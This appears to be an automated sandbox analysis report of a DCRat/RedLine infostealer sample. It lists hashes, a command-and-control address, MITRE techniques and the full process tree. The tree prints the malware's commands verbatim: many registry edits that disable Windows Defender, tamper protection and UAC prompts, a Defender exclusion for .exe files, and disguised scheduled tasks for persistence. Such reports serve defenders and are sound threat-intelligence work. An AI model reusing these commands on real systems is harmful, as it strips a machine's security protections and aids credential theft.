dcrat | 853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb

Analysis

max time kernel
287s
max time network
303s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
25-11-2022 22:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe
Size

4.2MB
MD5

80bee79571b9d0d023f231814814ed5c
SHA1

74f91dfcde28ede04a31ac7387119d6d1ae72dcc
SHA256

853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb
SHA512

8f66f5fc26a07e93b48324b93df73d35fcedd685ccbb2409a5cb1136eb555afc448aa922be18472ff952443d0b0a095d315ac1d4f2ae2c526154bb2698716ec0
SSDEEP

98304:pHX0g2E6BJH8lFEP6H7bvLupQsbJc+BNrTD5E7vqsD:pHEg2E6fH88MSpQsNc+TrxYvqs

Score

10^/10

dcrat redline @rigafox evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Family

redline

Botnet

@rigafox

193.56.146.20:15490

Attributes

auth_value
26aae7097c398fbc9b5d4a08a99ab985

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 21 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4808	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	388	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4864	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5048	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4780	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1664	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4424	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3140	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3960	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3948	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2196	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4632	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4924	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3208	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4320	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2740	3952	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4316	3952	schtasks.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4104-169-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral2/memory/4104-174-0x000000000042219E-mapping.dmp	family_redline

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/4032-758-0x0000000000461CEE-mapping.dmp	dcrat
behavioral2/memory/4032-814-0x0000000000400000-0x0000000000466000-memory.dmp	dcrat
behavioral2/memory/3164-1409-0x0000000000461CEE-mapping.dmp	dcrat

Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

DRIVER~1.EXEmeme.exeGoogle.exeGoogle.exetaskhostw.exetaskhostw.exe

pid process

4708 DRIVER~1.EXE
4756 meme.exe
2196 Google.exe
4032 Google.exe
4336 taskhostw.exe
3164 taskhostw.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

meme.exeGoogle.exetaskhostw.exe

description	pid	process	target process
PID 4756 set thread context of 4104	4756	meme.exe	vbc.exe
PID 2196 set thread context of 4032	2196	Google.exe	Google.exe
PID 4336 set thread context of 3164	4336	taskhostw.exe	taskhostw.exe

Drops file in Program Files directory 7 IoCs

Processes:

Google.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\reg.exe	Google.exe
File created	C:\Program Files (x86)\Windows Defender\en-US\086bad3d141c77	Google.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\smss.exe	Google.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\69ddcba757bf72	Google.exe
File created	C:\Program Files\7-Zip\Lang\WmiPrvSE.exe	Google.exe
File created	C:\Program Files\7-Zip\Lang\24dbde2999530e	Google.exe
File created	C:\Program Files (x86)\Windows Defender\en-US\reg.exe	Google.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
3140	schtasks.exe
3960	schtasks.exe
4924	schtasks.exe
2108	schtasks.exe
2388	schtasks.exe
4780	schtasks.exe
4376	schtasks.exe
4316	schtasks.exe
4808	schtasks.exe
4864	schtasks.exe
4424	schtasks.exe
2196	schtasks.exe
4632	schtasks.exe
3208	schtasks.exe
4320	schtasks.exe
2740	schtasks.exe
5048	schtasks.exe
4868	schtasks.exe
3948	schtasks.exe
388	schtasks.exe
1664	schtasks.exe

GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 8 Go-http-client/1.1

description	flow	ioc
HTTP User-Agent header	8	Go-http-client/1.1

Modifies registry class 4 IoCs

Processes:

reg.exereg.exereg.exeGoogle.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000_Classes\Local Settings	Google.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

DRIVER~1.EXEvbc.exeGoogle.exeGoogle.exetaskhostw.exetaskhostw.exe

pid	process
4708	DRIVER~1.EXE
4708	DRIVER~1.EXE
4104	vbc.exe
4104	vbc.exe
2196	Google.exe
2196	Google.exe
2196	Google.exe
4032	Google.exe
4336	taskhostw.exe
4336	taskhostw.exe
4336	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe
3164	taskhostw.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskhostw.exe

pid process

3164 taskhostw.exe

pid	process
3164	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

vbc.exeGoogle.exeGoogle.exetaskhostw.exetaskhostw.exe

description	pid	process
Token: SeDebugPrivilege	4104	vbc.exe
Token: SeDebugPrivilege	2196	Google.exe
Token: SeDebugPrivilege	4032	Google.exe
Token: SeDebugPrivilege	4336	taskhostw.exe
Token: SeDebugPrivilege	3164	taskhostw.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exeDRIVER~1.EXEmeme.exevbc.exeGoogle.execmd.exe

description	pid	process	target process
PID 2692 wrote to memory of 4708	2692	853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe	DRIVER~1.EXE
PID 2692 wrote to memory of 4708	2692	853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe	DRIVER~1.EXE
PID 4708 wrote to memory of 4756	4708	DRIVER~1.EXE	meme.exe
PID 4708 wrote to memory of 4756	4708	DRIVER~1.EXE	meme.exe
PID 4708 wrote to memory of 4756	4708	DRIVER~1.EXE	meme.exe
PID 4756 wrote to memory of 4104	4756	meme.exe	vbc.exe
PID 4756 wrote to memory of 4104	4756	meme.exe	vbc.exe
PID 4756 wrote to memory of 4104	4756	meme.exe	vbc.exe
PID 4756 wrote to memory of 4104	4756	meme.exe	vbc.exe
PID 4756 wrote to memory of 4104	4756	meme.exe	vbc.exe
PID 4104 wrote to memory of 2196	4104	vbc.exe	Google.exe
PID 4104 wrote to memory of 2196	4104	vbc.exe	Google.exe
PID 4104 wrote to memory of 2196	4104	vbc.exe	Google.exe
PID 2196 wrote to memory of 4356	2196	Google.exe	cmd.exe
PID 2196 wrote to memory of 4356	2196	Google.exe	cmd.exe
PID 2196 wrote to memory of 4356	2196	Google.exe	cmd.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 2196 wrote to memory of 4032	2196	Google.exe	Google.exe
PID 4356 wrote to memory of 4532	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4532	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4532	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 812	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 812	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 812	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 356	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 356	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 356	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3316	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3316	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3316	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2204	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2204	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2204	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 644	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 644	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 644	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2796	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2796	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2796	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2372	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2372	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 2372	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4072	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4072	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4072	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4464	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4464	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4464	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4444	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4444	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4444	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3508	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3508	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3508	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3592	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3592	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 3592	4356	cmd.exe	reg.exe
PID 4356 wrote to memory of 4916	4356	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe
"C:\Users\Admin\AppData\Local\Temp\853860d63c8fe8ed293fc5e3ee087046ec9ae01f0cdc9279422fbaefa82455bb.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2692

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DRIVER~1.EXE
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DRIVER~1.EXE
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4708

C:\Users\Admin\AppData\Local\Temp\meme.exe
C:\Users\Admin\AppData\Local\Temp\meme.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4756

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4104

C:\Users\Admin\AppData\Local\Temp\Google.exe
"C:\Users\Admin\AppData\Local\Temp\Google.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Uvanbyzkrfrqlyclqqnvwd.bat" "
6⤵
- Suspicious use of WriteProcessMemory
PID:4356

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
7⤵
PID:4532

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
7⤵
- UAC bypass
PID:812

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:356

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
7⤵
PID:3316

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
7⤵
PID:2204

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
7⤵
PID:644

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:2796

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:2372

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:4072

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:4464

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
PID:4444

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
7⤵
PID:3508

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
7⤵
PID:3592

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
7⤵
PID:4916

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
7⤵
PID:2980

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:4248

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:5104

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
7⤵
PID:4000

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
7⤵
PID:192

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
7⤵
PID:1836

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
7⤵
PID:2492

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
7⤵
PID:2200

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
7⤵
PID:3792

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
7⤵
PID:4448

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
7⤵
- Modifies registry class
PID:2040

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
7⤵
- Modifies registry class
PID:5092

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
7⤵
- Modifies registry class
PID:3476

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1684

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:4892

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:4104

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:4904

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
7⤵
- Modifies security service
PID:2712

C:\Users\Admin\AppData\Local\Temp\Google.exe
C:\Users\Admin\AppData\Local\Temp\Google.exe powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\AIoLeH13L6.bat"
7⤵
PID:428

C:\Windows\SysWOW64\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
8⤵
PID:1276

C:\Windows\System32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
9⤵
PID:996

C:\Users\Public\taskhostw.exe
"C:\Users\Public\taskhostw.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Users\Public\taskhostw.exe
C:\Users\Public\taskhostw.exe powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
9⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "regr" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\en-US\reg.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "reg" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\en-US\reg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "regr" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Defender\en-US\reg.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\odt\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\odt\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\odt\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Users\Public\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Users\Public\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Users\Public\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\odt\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\odt\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\odt\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4632

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4924

